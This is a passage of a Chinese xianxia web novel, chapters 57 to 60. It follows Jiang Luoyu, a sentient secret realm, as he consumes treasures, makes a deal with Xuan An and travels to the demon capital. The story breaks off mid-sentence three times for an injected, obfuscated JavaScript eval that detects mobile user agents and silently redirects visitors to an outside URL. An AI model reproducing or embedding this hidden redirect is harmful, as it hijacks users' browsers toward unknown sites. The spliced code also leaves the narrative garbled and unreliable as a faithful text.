时至今日,已经不是他一时兴起圈养一个下界小妖的问题了。 玄慈觉得自己养的,大概是个披着生姜外壳的饕餮。只要是天材地宝那一类的,全都能被姜洛玉吸收吞食。 他的私库在这一个月里消耗殆尽,只能靠城主府的库房供姜洛玉修炼。 关键是不吃天材地宝,光靠吸收灵力,姜洛玉还硬是无法进阶。 姜洛玉也很无奈,放开吃了两天,被自己惊人的食量吓到,默默缩减了天材地宝的数量。好不容易偷懒一晚,结果半夜饿得直锤墙,只能坐起来继续吸收灵气。 只不过现在灵气对他来说,和鸡肋没什么区别。 发现姜洛玉的小动作后,胜负心上头的玄慈一拍桌子——他堂堂玄武城城主之子,岂会被一个元婴小妖吃穷! 转头增加了每日供给姜洛玉天材地宝的数量,逐日递增。 一个月过去,他的私库空了。 玄慈:“……” 他就不信了,姜洛玉还能把城主府吃空不成? “咚咚——” “请进。”姜洛玉起身,戒备地盯着门口。 “你就是我弟弟捡来的小妖?” 浓郁的血腥味儿从门口飘了过来,激得姜洛玉打了几个喷嚏。 长手长脚的男人破门而入,身后跟着哆哆嗦嗦的傀儡。 男人一看就和玄慈是亲兄弟,气息如出一辙,但长相天差地别,一个清秀一个冷峻。 玄安将马飞飞嘴里的“小妖”上下打量一遍,乐了:“我那傻弟弟连妖和秘境都分不清。” “这不是个长了腿的秘境吗?” 57.穿越第五十七天 竹屋陷入了诡异的沉默,气氛略显尴尬。 姜洛玉对玄安看出自己的根脚并不意外,行礼道:“小妖见过少主,不知少主此番前来所为何事?” 妖界的妖,在遇到比自己修为高的妖时,必须自称“小妖”。 傀儡马同他讲解妖界各种规则时,姜洛玉差点没忍住翻白眼。 什么必须在身上露出一部分本体、不允许直视修为高者的眼睛、不能无视修为高者的问话,不能拒绝修为高者的合理要求…… 就算你有越阶杀敌的能力,只要敢动手杀妖,有的是“规则拥护者”追杀你到天涯海角。 除非你能在这期间修炼到比被杀死的妖更高的境界。 “别这么拘谨,本君又不会把你吃了。”玄安眉毛一挑,随意找了把竹椅坐下。 “本来我还奇怪,若不是强行让玄慈去升仙台当引渡人,他能一动不动在院子待到老死。怎么会突然想起来炼丹?” “没想到居然是养了个无底洞。” 姜洛玉一头雾水,指了指自己:“您说我是无底洞,何出此言?” 玄安摆手:“看来你对自己现在的状况不是很清楚。” “端上来。” 马飞飞瞪着死气沉沉的马眼睛,拿出刚得来的芥子,把里面的天材地宝挨样掏出。霎时间竹屋内宝气四溢,甚至有颗人参冒出了两条腿满地乱窜。 “吃。”傀儡言简意赅道。 姜洛玉看了眼人参娃娃,道:“这个就算了。” 马飞飞拎起人参娃娃的细腿,把他顺着窗户扔了出去。 姜洛玉没得选,只好当着玄安的面开始吸收天材地宝。 一刻钟后,华光尽散。 姜洛玉打了个饱嗝,垂着脑袋等玄安发话。 玄安敲了敲竹椅的把手,问:“丹田有什么变化?” 丹田? 姜洛玉闭眼将神识沉入丹田,里面和他本体没有任何差别的“生姜”元婴乖巧地悬浮着,没有半分变化。 他实话实说:“没有。” 玄安蹙眉,直接把人扯过来,放出仙力强行在姜洛玉体内游走一圈。 那仙力阴寒刺骨,流过经脉似乎将血液也一并冻住。姜洛玉默默咬牙,他迟早把这王八揍得亲妈都不认识。 “说谎可不是个好习惯。”玄安掏出块儿玉简丢了过去,“小秘境,我需要你为我办件事。” “作为交换,我可以为你提供修炼资源。” 姜洛玉不去理会莫名其妙要和他“交易”的玄安,将神识放进玉简。 里写得都是关于秘境的东西,从诞生到死亡,及其详尽。自从醒来就困扰着他的疑问,全都迎刃而解。 他现在的情况不是死而复生,而是处于一个半死不活的状态。 秘境是什么?是天道馈赠的实体,就算遭受重创,只要根基并未彻底损毁,就能休养生息等待卷土重来之日。 更别提他还是个化了形的秘境,只要肉身和秘境本体一个不死,他就能活。 就算他将三清秘境交给了丛明雪继承,相当于割裂了秘境本体送出去。但他是三清秘境化身的事实并未改变,自爆也死不了,只不过变成了个“缺少秘境”的秘境化身。 在玉简记载里,秘境化形后有吞天噬地之能,同饕餮的区别在于——饕餮几乎来者不拒,而秘境化形后却是单纯地吞噬高品级的天材地宝。 至于“高品级”是个什么标准,还要看秘境的根脚。下界秘境对于天材地宝的要求不高,以此类推。 姜洛玉之前在下界没有这种饿得前胸贴后背的感觉,一是因为三清秘境并未受损,二是因为下界的天材地宝对他来说过于低级。 眼下失了秘境,又到了灵气更加浓郁的妖界,便本能地想要吸收天材地宝重新造出个“二号三清秘境”出来。 “少主如此了解秘境,不知想让我帮您做什么?”姜洛玉放下玉简,抬头和玄安对视。 冷不丁对上那双黑色的眸子,玄安一愣,也不在意姜洛玉“失礼”,自顾自叹息道:“我等这个机会已经等了上万年……” “功夫不负有心人,终于让我等到了!” 他这些年几乎找遍了整个六界,根本没找到符合要求的秘境本体。没想到自家弟弟出个门,就能给他带回来这么大个“惊喜”。 姜洛玉:“……” 他最讨厌谜语人了。 “小秘境。”玄安笑完之后继续道,“妖都不日即将开启‘无尽宝库’,到时候你和我同前去。” “我需要你帮我从无尽宝库带回来几样东西。” 姜洛玉有种不好的预感:“什么东西,你自己拿不回来吗?” 玄安:“古神残躯、冥海浮木、雨落花田。” 这三样东西,除了“古神残躯”全都抽象得没边,姜洛玉想也不想:“拿了这些我还有命吗?” “你——” “大哥!” 玄慈风风火火地跑进来,一改以往慢悠悠的动作。 见自家喜怒无常的大哥没把姜洛玉怎么样,这才松了口气,慢吞吞道:“见过……大哥。” 玄安掀了掀眼皮,语气骤然冰冷:“我让你去当引渡人,不是让你玩忽职守的。” 玄慈摸了摸鼻子:“我没有……玩忽职守。爹已经派人……接手升仙台了。” “你来我的……芥子里做什么?” 玄安语塞,走过去弹了弹玄慈头顶的玄龟:“你这几天挪用那么多天材地宝,爹早就注意到了,让我过来看看。” 玄慈瞪大了眼睛:“大哥……我真的只是……炼药啊。” 绝对不能让别人知道他养了一个“吞金兽”,他还没养够呢。 让其他人知道该不许他养了。 玄安:“那丹药呢?” 玄慈:“……没炼出来。” “罢了,你想炼就炼吧。”玄安瞥了姜洛玉,“有什么需要和大哥开口,大哥私库里天材地宝多的是。” 玄慈点头。 等到玄安消失不见,姜洛玉被人扯住了袖子。他看过去,只见玄慈满脸严肃。 “我大哥私库里好东西比城主府还多。”少年认真道,“你乖乖待着,我给你多拿点来。” 姜洛玉忍俊不禁,“好”了一声。 又是半天过去,修炼完毕的姜洛玉睁开眼,发现自己成功被天材地宝淹没了。 姜洛玉:“……” 绿眼澄净的少年探出个脑袋,挥了挥手里脑袋大的月光花:“你快吃,这些都是从我大哥那儿拿来的。” “不过,原来你也要去无尽宝库啊。” “无尽宝库是个什么地方?”姜洛玉问道。 玄慈:“我哥没告诉你吗?无尽宝库是个存在于妖都的巨大秘境,一万年才开启一次, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005563|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里面天材地宝不计其数,但是一个妖进去只能拿一样适合自己的东西出来。” 姜洛玉:“再具体些?” 玄慈摇头:“听说那地方很美,很梦幻,去过的人描述各不相同。没法再具体了。” 两妖一时无言,姜洛玉沉默着吸收了一个又一个天材地宝,直到玄慈的声音再度响起。 “我想问好久了,你耳朵上的东西是谁送你的?” 姜洛玉抬手摸了摸耳坠上的红穗,回道:“我道侣。” 玄慈:“那看来你道侣真的很爱你,把情丝都抽了这么多送给你。” “……情丝?”姜洛玉摸着红穗的手顿住,声音变形,“二少爷,你开什么玩笑?” —— 寒灯如豆,照亮了浮空殿一角。 大殿中央,已经干涸的血阵上,摆放着杂乱无章的花草。 法阵中心的银发男人周身环绕着如有实质的冷气,使得整个大殿的温度一降再降。 何在夕扒在殿门口,实在忍不住了,回头道:“他在这儿坐几天了?” “一个月了。”凝星不住地叹气,继续埋头熬药。 那伽也扒在门口:“境主现如今生死未卜。招魂招不到,离昼算也算不到,就是药辛用自己和风止的精血追源,也找不到境主所在。” 姜洛玉如同彻底消失在这世上一样,但他们都不愿意相信。 “又不是真成鳏夫了。”何在夕拿出亡妻的玉雕看了看,又小心翼翼地塞了回去,“再说了,没准小生姜是被那魔族带回了魔界,你们才找不到他的。” “别放屁!”迦南月气得踹了何在夕一脚,“我儿怎么能去那种鸟不拉屎的地方?” 垢姬愁眉苦脸:“境主被人带到魔界才是最坏的结果。” 魔界的魔族毫无良知可言,到时候死都是成全,半死不活才是最痛苦的。 凝星熬完了药,给红楹递了过去:“楹楹,你去给离昼喂药,必须全都灌进去。” 红楹点头,端着药碗去了阴阳殿。 自从那天姜洛玉消失后,三清秘境易主,离昼就开始疯狂推算姜洛玉的去处。 可惜得到的是个介于生死之间的卦象,其他信息全都卜不出来,结束后更是被反噬得吐血三升晕了过去,现在依旧没醒。 “啪。” 丛明雪动了动眸子,注意到角落爆开的烛火。 烛火柔和的白焰一如既往,让他联想到那天的白色光柱。 只差那么一点点,他就能拉住姜洛玉的手了。 是死是活? 其实丛明雪不太敢想,他只知道那天他趴在地面吐了很多血,就连修为也掉了一个大境界。 若不是迦南月反应够快,连忙塞给他稳固根基的天材地宝和丹药,帮他重回渡劫,他现在没准就连这招魂的法阵都用不出来。 丛明雪拿起别在腰间的耳坠,抚了抚上面的红穗。 这里面,有他亲手编织进去的情丝。 情丝这东西无形无实,抽出来一点可以自行补全,只能通过特殊的法术抽取。他送姜洛玉这样一副耳坠,有着自己的小心思。 只要一想到他充斥着灼热爱意的情丝比他更贴近姜洛玉,那些功法带来的隐秘的、晦涩、酸楚的负面情绪就会一扫而空。 如今……也只剩下这一条单边耳坠了。 “喂,阿雪,能听见吗?” 58.穿越第五十八天 故人的声音惊起心头滔天巨浪,丛明雪握紧了耳坠,意识到自己大概需要去找凝星瞧一下病。 这是他第五次幻听了。 “听不见么……还是另一边被毁了。” 丛明雪呼吸一滞——声音是从耳坠里传来的! 他连忙松开手:“阿玉是你吗?你现在在哪儿,有没有危险?” 乱糟糟的竹屋里,姜洛玉捧着情丝耳坠惊喜道:“是我!我在妖界,没有危险。星姨他们和天正宗怎么样,我娘呢?魔气都消失了吧?” “还有……你还好吗?” 丛明雪:“三清秘境和天正宗都没事,星姨还有风止前辈都很担心你,残余的魔气也都被佛宗弟子净化了。” “我……很好。” 话毕,丛明雪一时竟不知该再说些什么,千言万语堵在喉咙里,再开口声音哑得吓人:“我以为你……出事了。” 他连“死”字都不敢说,唯恐现在的一切都是一场幻梦。 “你修为不够,又如何去的妖界?” 姜洛玉如实道:“算是个意外。我本来想着自爆和那黑影同归于尽,没想到……没死成,黑影的炼化之术又几近完满,便强行将我带了上去。” “中途又因为我没被炼化成魔器,不属于魔界之物,法则就将我留在了妖界。” 这就是他出现在妖界的真相。至于身上炼化残留的魔气,多亏了玄慈那池白骨生花泉——不仅能供人修炼,还是净化魔气不可多得之良药。 “你在哪儿?”丛明雪接着问道,“我想办法去妖界找你。” 姜洛玉:“我在——” 耳坠上的红色光晕彻底消失不见。 两人的通讯彻底切断。 姜洛玉对着玄慈晃了晃耳坠,问:“你不是说,这上面的情丝能坚持一炷香时间吗?” 玄慈“咦”了一声,从接天莲的花蕊上坐起,挠挠头:“你把耳坠……扔过来,我再仔细……瞧一眼。” 带着余温的耳坠入手,玄慈翻来覆去看了半天,眼睛一瞪化为蛇瞳。 姜洛玉这才有空搭理饿到哀鸣的胃部,摘下颗莲子边啃边等。 方才玄慈说他耳坠上的红穗是掺了一半儿情丝才编出来的,他半信半疑。 信是因为这的确像现在的丛明雪能做出来的事,疑是因为……这件事本身就很离谱。 情丝这种看不见摸不着的东西,姜洛玉还以为是杜撰出来的,修仙了也没想过去求证。 直到玄慈用法术抽出来一条闪着盈盈红光的线,他才心服口服。 “我知道了。”玄慈收回蛇瞳,“你那个道侣……修得是无情道?” “是。”姜洛玉眉心跳了跳,“和这个有关系?” 玄慈:“当然,所以情丝烧得快一些。” 姜洛玉:“……” 后悔是没用了,不过好在丛明雪知道他没死,又知道他在妖界。 日子一天天过去,姜洛玉的生活极为单调,除了修炼就是吸收海量的天材地宝。 天材地宝由玄安倾情提供,并且全力支持。 与丛明雪通话第二天,玄安再度来到灵山芥子,成功说完了交易的全部内容。 由于妖都无尽宝库的规则限制,想要多拿东西出去几乎不可能。 可玄安想要的却不只是一样。多方试验下,他发现了一个漏洞——规则上说每个进去的修士只能拿出一样适合自己的东西。 那进去的,如果是一个秘境呢? 适合秘境的自然是天材地宝。至于数量……若进去的秘境将天材地宝炼化到自身,是否又能拿出无尽宝库? 想法成立,接下来玄安开始满妖界寻找化形的秘境。在这之前,六界内一度认为秘境化形是个荒唐的传说。 还真让玄安找到一个刚化形的小型秘境。 他将那秘境带去了无尽宝库,可带出来的东西无一例外,全都是适合小型秘境的东西——而他要的东西里,甚至有神级秘宝。 玄安只好继续寻找化形的秘境,又在暗中夺了几个大型秘境,试图催生灵智让其化形。 将近万年过去,就在玄安即将放弃的时候,他遇到了姜洛玉。 和各类秘境多年来打交下来,玄安轻而易举地发现了姜洛玉的真实身份,又欣喜若狂地感受到他身上逸散出来不同寻常的气息,笃定姜洛玉极有可能就是他找了一万年的神级秘境! 玄安恨不得当场就把人带回自己的住处好好检验一番,再种上几个法术,趁其力量衰微让其永远为自己所用。 冷静下来,他才打消了这个念头。化形秘境往往具备得天独厚的气运,一旦结仇,若是不即刻杀死,日后噬主的后果可不是他能承受住的。 好在这姜洛玉轻松就答应了他的交易。两人立下天道誓言,玄安满意地回了自己府上,一边暗中验证姜洛玉本体的品级,一边花出流水般的天材地宝供他修炼。 毕竟想进无尽宝库,修为最低要达到大乘期。 夜深人静,姜洛玉躺在竹席上,边扒拉天材地宝边怀疑人生。 他这些天吃下去的天材地宝抵得上七八个中型秘境了,可“二号三清秘境”还是没有诞生的迹象,丹田里的秘境雏形——他的变异元婴也没有丝毫变化。 好似他吃进去的都是空气。 修为倒是蹭蹭上涨,已经到了炼虚圆满,差一丝就要进阶合体。 “喂,玉玉。”玄慈从一堆天材地宝上探出脑袋,“你今天怎么吃这么少?” 姜洛玉双目无神:“没胃口。” 今天是他到妖界的第三个月,距离无尽宝库开启还有半年时间。 光靠修炼达到大乘修为根本不现实。好在他现在处于特殊时期,吞下去的天材地宝不仅能为建造新秘境添砖加瓦,还能将多余的灵气转化为修为。 “你昨天不是还吃了两天的量么……”玄慈嘀咕着,见人不搭理自己,躺了回去继续看话本。 姜洛玉“哦”了一声,扒拉两下头顶的生姜苗,抓来丹心碧血莲一片片掰着吃。 要说三个月里最大的收获,还是他彻底看清了玄慈和普通少年人没什么两样的性子。 很奇怪,一个在妖界土生土长的城主之子,性子居然如此单纯,还没什么根深蒂固的等级意识。这让姜洛玉十分好奇,究竟是什么样的人能教出这样的孩子。 问了之后才知道,玄慈幼时一直跟在母亲——也就是天音城城主身边生活。 天音城是妖界极少数废除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15015220|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了“越阶杀敌追捕令”的城池。杀了比自己修为高的修士的妖,只要能够踏入天音城,就能获得赦免。 又是三个月过去,玄武城的城主府汇聚了一片深黑且庞大的劫云。 街上商贩见此直接扯着摊位远离主街,唯恐殃及自己。 九九八十一道雷劫过后,劫云散去,留下漫天霞光。 姜洛玉站在雷劫劈出来的大坑里,打了个饱嗝。 瞌睡来了送枕头,他再建秘境刚好缺点法则之力,这边久违地进阶雷劫就落了下来。 不吃白不吃,他当即朝着雷劫飞扑过去吃了一顿自助餐。 渡劫的地方在玄慈住处的后院,专门修建用来渡劫的石台。 姜洛玉握了握手,闭眼细细感受身体里排山倒海的强大力量。 比起仙界当上仙的感觉是差了点,不过也说得过去。 最重要的是他多了一个新技能—— “姜烛山!”玄慈崩溃道,“快把你的生姜领域收起来!” 姜洛玉默默收起领域。这就是他的新技能,每一个修为到了大乘修士,都会拥有独属于自己的战斗领域。 有的领域和修士的功法有关,有的和修士本体的特点有关。 而他的领域……是充斥着生姜辛辣气息的战斗领域。 他在领域里能够得到速度增加、攻击翻倍的增益,敌人不但会收到相反的阻碍,还会被生姜气息带来的精神冲击击垮。 玄慈是第一个被击垮的。碰上姜洛玉之前他连生姜是什么都没听过,得知姜洛玉的本体还有个生姜后,就一直缠着要看。 姜洛玉刚释放个气味儿,接下来整整三天都没再见过玄慈出现。 察觉到生姜气息消失,玄慈这才放开五感:“大哥让我来告诉你,明天就要出发去妖都了。” “怎么去这么早?”姜洛玉理了理沾上灰烬的法衣,“不是还有三个月宝库才能开启?” 玄慈:“不早了,宝库开启之前妖皇还要宴请各个城池的代表。我们玄武城已经算出发晚的那一批了。” 妖都,位于妖界最西部。上临天音城,下挨火凤城,左边是虚无天堑,右边是四大圣城之一的白虎城。 四大圣城分别是——白虎、朱雀、青龙、玄武。这四座城池分立四方,城主世代都由拥有这四大圣兽血脉的后代担任。 玄武城目前的城主为妖君修为的玄成道,也就是玄慈的父亲。 第二天,姜洛玉坐上了去往妖都的……飞蛟。 飞蛟是城主府驯养的,从破壳巴掌大一直养到了能驮载十几人的程度。因为没有传承记忆,它们不会化形。 姜洛玉见到蛟龙庞大的身躯,鬼使神差道:“妖皇也是龙,那他为何不禁止驯养蛟龙?不会有一种同族被……” “哼,金龙血脉岂能和此等妖物相提并论!”玄安府上的管家闻言呵斥道,□□嘴一张一合,“你有这个功夫多吃两口天材地宝巩固修为吧。” 姜洛玉:“……” “我觉得妖皇这次应该不会举办宴会了。”玄慈坐到姜洛玉身边抓住龙鬃。 姜洛玉:“为何?” “可靠消息,妖皇最喜欢的小儿子渡妖君劫失败昏迷不醒,正满妖界寻求名医呢。” 59.穿越第五十九天 蛟龙日行千里,两天后,三人就看见了妖都的影子。 恰逢日月交接之际,日色渐昏,月华漫天。妖都于视野中拔地而起,最西边被一条泛白的山脉环绕——山脉就是虚无天堑的具象化。 而妖都内部楼阁高耸、明灯四起,往来行人川流不息。再向外看去,漆黑厚重的城墙足有百丈,金龙虚影笼罩其上,硕大无比的鳞片散发着淡淡金光。 姜洛玉看清那闭目的金龙,转头问道:“那龙……” “嘘——”玄慈示意道,“这是龙神残魂,不可妄议。” 姜洛玉:“……” 他重新看过去,试图从上面感受到熟悉的气息。 这些天不知是何缘故,脑中多出了灵智未开前关于神界的记忆。 下界的三清秘境仅是全盛时期面积的四分之一,而那时的秘境千年一启,进出的神明里就有龙神。 龙神的人形是个浑身素银的青年,和他金灿的本体毫不相干。进了秘境便一头扎进仙灵湖,吸收里面能够保养龙类鳞片的物质,潜游到秘境关闭。 万年匆匆而过,故人重逢竟是这样一番凄然景象,姜洛玉不免心中唏嘘。 “吼——” 低沉的龙吼从下方传来,他看向龙首,只见金龙毫无预兆地掀起眼皮。 姜洛玉吃了一惊,凝神再望,却发现金龙睁眼似乎是自己的错觉。 “准备降落。”玄安坐甩袖而起,“妖都禁止御空而行。” 蛟龙应声长鸣,向下俯冲落在城门外,又化作筷子粗细盘到了玄安左肩。 进城的妖有很多,修为几乎全都在炼虚之上。姜洛玉跳下蛟龙,理了理身上低调的银灰色法衣,老老实实跟在兄弟二人身后向城门走去。 他这大乘修为在妖都还真不够看。特别是无尽宝库即将开启,更有大把妖仙涌入,真要是落单,又碰上几个不讲理的,没把握能全身而退。 缴纳妖晶后,三人顺利进入。 妖都的建筑比起修真界多了几分华贵,又比不上仙界缥缈。庄严肃穆下又带着独属于妖物不受拘束的特质,矛盾又和谐。 城门附近的告示闪着亮眼的金光,姜洛玉扫了一眼,发现最上面的竟是一则为九皇子求医的榜文。 不过没说具体的病症,只说有心者可前往太子府面议。 而他们的目的地,恰好就是太子府。 妖界除却妖都一共十二座城池,此次无尽宝库开启在即,全都应召而来。妖皇传书里的意思是让他们全都住到太子府,方便等候宴会诏令。 姜洛玉这段时间还弄清了一件事,就是妖界的等级制度,除却修为看得便是种族。 血脉越纯越好——以金龙一族为尊,四大圣兽次之,其他的混血如蛟龙一族反倒备受排挤。 妖皇乃妖界战力天花板,世代都出自金龙一族,其他族类便更为妖皇马首是瞻,血脉里流淌着对妖皇的忠诚,从不背叛。 所以十二城池的妖才这么听妖皇的话。 一路畅通无阻,到了太子府门口,守门的渡劫修士接过金鳞传书,恭敬地将三人交由化神小厮带去来客的住处。 小厮做了个请的手势:“妖君莫怪。太子殿下日理万机,此刻正在宫内协助陛下处理事务。等殿下忙完,就会统一召见各城池的代表了。” 玄安冷脸颔首,连带着玄慈的表情也跟着紧绷几分。 想起这两天一路上兄弟二人打打闹闹,特别是玄安贱嗖嗖打趣玄慈的模样。姜洛玉闭了闭眼,掏出拳头大的白果咬了一口,堵住喉咙里的笑声。 “你住最里面。”玄安丢给姜洛玉一块儿玄武城的腰牌,“秘境开启前最好不要踏出太子府半步。” “若是真出了什么事,将此物拿出,一般人都会卖玄武城一个人情。” 姜洛玉接过玉质腰牌,摸了摸上面的玄武纹路,保证道:“少主放心,我惜命,不会乱跑的。” 玄安狐疑地盯着对面的青年,总觉得他的语气带着微不可察的笑意。 可惜他没有证据,只好继续叮嘱道:“你若是真想出去,必须跟在玄慈身边。他身负圣兽血脉,没有不长眼的敢去招惹你们。” 姜洛玉点头。 玄安:“我有事要办,不会待在太子府多久,玄慈你……你们两个这三个月不要捅什么篓子。” 玄慈将头点出了残影。玄武城进入无尽宝库的名额妖皇只下发了两个,本来遇见了姜洛玉,玄安不打算带他来的。 他求了将近一个月,玄安才又拍下个名额带他过来。 说实话他真没什么特别想要的,去无尽宝库纯粹是好奇里面到底是什么模样。 等到玄安前脚一走,姜洛玉就收到了玄慈热切的目光。 “二少爷,您想干什么?”姜洛玉右眼皮跳了跳。 俗话说左眼跳财右眼跳灾,他按住不断抽搐的右眼皮,决定无论玄慈接下来说什么都要冷漠拒绝。 “我们去风华街吧。”玄慈眨着竖起的蛇瞳。 姜洛玉眼皮跳得更厉害了:“你去那儿做什么?” 风华街可是妖界出了名的青楼一条街——说是青楼,但除了皮肉生意最多的还是歌舞表演。 更离谱的是推出了每月一更新的佳人、公子榜,每个进去的修士都能花费妖晶给支持自己心仪的佳人、公子。 排名越靠前说明这妖越受欢迎。 整条街上都是风月道、合欢道的修士,一举两得,堪称羊毛出在羊身上的最佳典范。 奈何这些修士对于人心的掌控极其娴熟,又背靠神秘人物,几乎没有翻车的时候。 有的是楞头青或是不信邪的前赴后继,吃了哑巴亏也不敢造次。 玄慈恨铁不成钢:“你不想见一见号那称天下第一的玦公子吗?” 姜洛玉冷漠道:“不想。” 这玦公子是公子榜上万年不变的榜首,据说面若皓月、冰肌玉骨,性子又温柔似水,一见终身误。 他知道得这么清楚多亏玄慈在他耳边喋喋不休。这人因为玦公子在红绡阁弹琴的留影,直接成了公子玦的“唯粉”。 即便隔着万里距离,每月都要按时砸妖晶帮玦公子稳固榜首的位置。 “那你留在太子府帮我瞒过我哥好不好?”玄慈眼中划过一丝暗喜,摆出副可怜兮兮的表情,“让我哥知道我去风华街,他非得扒我一层皮。” “定位的龟甲在这儿,我再给你些精血伪装成我的气息,刚好还有能躲妖君探查的法器。你就帮我这一次,我再见不到他人,没准都要生出心魔了。” 姜洛玉吃软不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019775|156250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃硬,但是原则性问题摆在那儿,仍旧拒绝道:“少主这次一个仆从都没给你带,定是早就料到你会这么做。” “我身为他的盟友,就更不能助纣为虐了。不过……少主为何不让你去风华街?” 玄慈“切”了一声:“他说我心志不坚,去了风华街恐被里面的男男女女迷去心窍,修为再难进阶。” “我才看不上玦公子之外的歪瓜裂枣。” 姜洛玉:“……” “你不帮就算了,我将这玉佩随便找个地方丢了照样去风华街。”玄慈“哼”了一声,佯装要走。 一、二—— “这忙我帮不了,”姜洛玉叹气道,按住改了方向乱蹦的左眼皮,“但是我能陪你去。” 玄慈欢欢喜喜地扯着姜洛玉出了太子府。 姜洛玉默默拿出玄安交给他的东西——符咒、通讯符、玉牌和醒神丹。 每道符咒里都藏着妖君的最强一击,通讯符能够随时传递消息,玉符不但能通知玄安他们所处的位置,捏碎了还能替命。 醒神丹更是丹如其名,如果玄慈真被里面的人用法术或是道意影响,一颗下去直接幡然醒悟。 玄安早知玄慈来了妖都,定会想方设法去风华街见那什么玦公子。他又得出去办事,只好让姜洛玉帮着管一管。 乘上妖都特色的双头马车,两人不出一刻就到了风华街。 虽说早已月上中天,但妖都的狂欢才刚刚开始。 风华街更是歌舞升平,站在入口就能听见如泣如诉的靡靡之音。 行至红绡阁,阁门口露出半身原形的男女个个耳清目明,察觉到玄慈身上圣兽血脉的气息,一股脑围了上来。 凑近了又因为修为低微,不敢轻易搭话,只好眼巴巴瞧着玄慈。 倒是有几个想对脸黑得不行的姜洛玉动手动脚,没碰到就被瞪了回去。 “我要找冯妈妈。”玄慈咳了咳,“就说紫心特来相见。” 冯妈妈是红绡阁的阁主冯修颜,平日里以“冯妈妈”自居,性子随和。 为首的女妖使了个眼色,立马有小厮去了后院。那女妖又领着两人穿过闹哄哄的大堂,去到了雅间。 姜洛玉脸色依旧很臭,进了风华街他才意识到自己似乎对街上的某种香料过敏,现在整个后背火辣辣的又疼又痒。 吃了解毒丹也没有用。 “吱嘎”一声,雅间进来了个看着不过双十年华的女妖,修为足有妖仙四转。 不过再高的修为,碰上四大圣城出身的的玄慈也得毕恭毕敬。 冯修颜垂下脑袋,浅黄发丝挡住了些许视线:“小女见过二少爷。” 玄慈矜持点头,道:“我要见玦公子。” 冯修颜:“二少爷稍等,小女这就去请玦公子过来。” “快去。”玄慈催促道。 “咔哒”,雅间的门被彻底关上。 冯修颜擦了擦额角的细汗,楼梯都没走,直接飞身去了阁楼最上端。 楼顶围栏上,侧躺着一身着水蓝蝶纹纱衣的男人,那身纱衣上方如有月华流转,蝴蝶振翅欲飞。 “大人,玄武城城主第二子想见您。”冯修颜心都提到了嗓子眼。 “哦?是那个……每月为我投下大把妖晶的小家伙?” 60.穿越第六十天 等了半炷香的时间,除了送菜婢女没有任何人进来。 姜洛玉百无聊赖下,一不留神就吸干了芥子里的…… 没了? 他记得……里面不是塞了相当于十个大型秘境的天材地宝吗? 之前吸收完数量相当的天材地宝,可是花了足足两个月的时间。 姜洛玉连忙低头确认,发现芥子果真空了,又结合自己依然火辣辣的后背,顿觉不妙。 他身上一定是发生了什么不可控的变化。 不急不慢的敲门声响起。 “二少爷,玦公子已经到了。” 玄慈瞳孔微缩,道:“进来。” 婢女推开门,为身后的男人掀起珠帘。 姜洛玉忍住不适,循声看去。 来人身形修长、五官俊美,发色浅金、蓝眸温润,气质又出尘,果真称得上面如皓月。说是王孙公子也不足为过。 修为在妖仙二转。 “玦明见过二少爷。”男人行礼道。 姜洛玉蹙眉,这人似乎瞟了自己一眼。 带来了一股如同毒蛇般的阴冷。 玄慈激动得原形毕露,慢吞吞道:“免礼……玦公子……你快……坐。” “等一下。”姜洛玉将玄武城的腰牌拍在桌子上,“玦公子,想必您也知道我们这位二少爷的身份。” “今天来这儿,二少爷只是为了见您一面,与您说说话。至于其他的,少主吩咐过,二少爷来的时候什么样,回去若是少了些东西,可不要怪他心狠手辣。” “你、你什么和我哥站一条船上了?”玄慈扯了扯姜洛玉的衣摆,脸色通红,“快别说了,我又没想做别的。” “我有事出去一趟,你在这儿等我回来。”姜洛玉咳了咳,把保命的东西塞给玄慈,自己留了两道攻击符。 他眨着黑沉沉的眸子,威胁道:“不许做出格的事情。否则你哥要扒了你的壳,我可拦不住。” 玄慈一哆嗦,竟在姜洛玉身上感受到股异常强大的气息——这根本不是一个大乘修士能有的! 来不及多想,玄慈立马小鸡啄米一样点头,就差对天发誓了。 威压消失,一并消失的还有姜洛玉本人。 “娘快看,焰火在天上飞!哎呦……” 长着鹿耳的女孩儿撞上了一堵“墙”,抬头才发现,原来“墙”是一条腿。 妇人连忙抱住女孩儿跪了下去,赔罪道:“大人见谅,孩子还小不会躲人,我回去一定严加管教——” “不必,去买套像样的衣服吧。”姜洛玉对着浑身补丁的鹿妖母女摇了摇头,留下一袋妖晶继续向前走去。 路越走越长,后背越来越热,行人渐稀。 他也不知自己走到了哪儿,总归是离开了风华街。 今日是妖都每月一次的焰火晚会,到处都能看见满天烟花,这般走着,倒也不觉失意。 